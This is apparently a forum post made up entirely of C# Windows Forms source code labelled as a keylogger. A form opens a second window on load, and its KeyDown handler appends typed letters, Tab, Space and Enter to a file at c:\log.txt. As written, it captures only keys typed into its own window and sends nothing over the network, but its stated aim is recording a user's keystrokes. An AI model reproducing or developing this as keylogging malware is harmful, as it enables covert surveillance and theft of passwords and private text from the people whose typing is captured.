Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace keylogger
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
Form2 f2 = new Form2();
f2.Visible = true;
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
StreamWriter sw = new StreamWriter(@"c:\log.txt", true);
if (e.KeyCode >= Keys.A && e.KeyCode <= Keys.Z)
sw.Write((char)e.KeyCode);
else if (e.KeyData == Keys.Tab)
{
sw.Write("->");
}
else if (e.KeyData == Keys.Space)
{
sw.Write(" ");
}
else if (e.KeyData == Keys.Enter)
{
sw.Write("{Enter}");
}
sw.Close();
}
}
}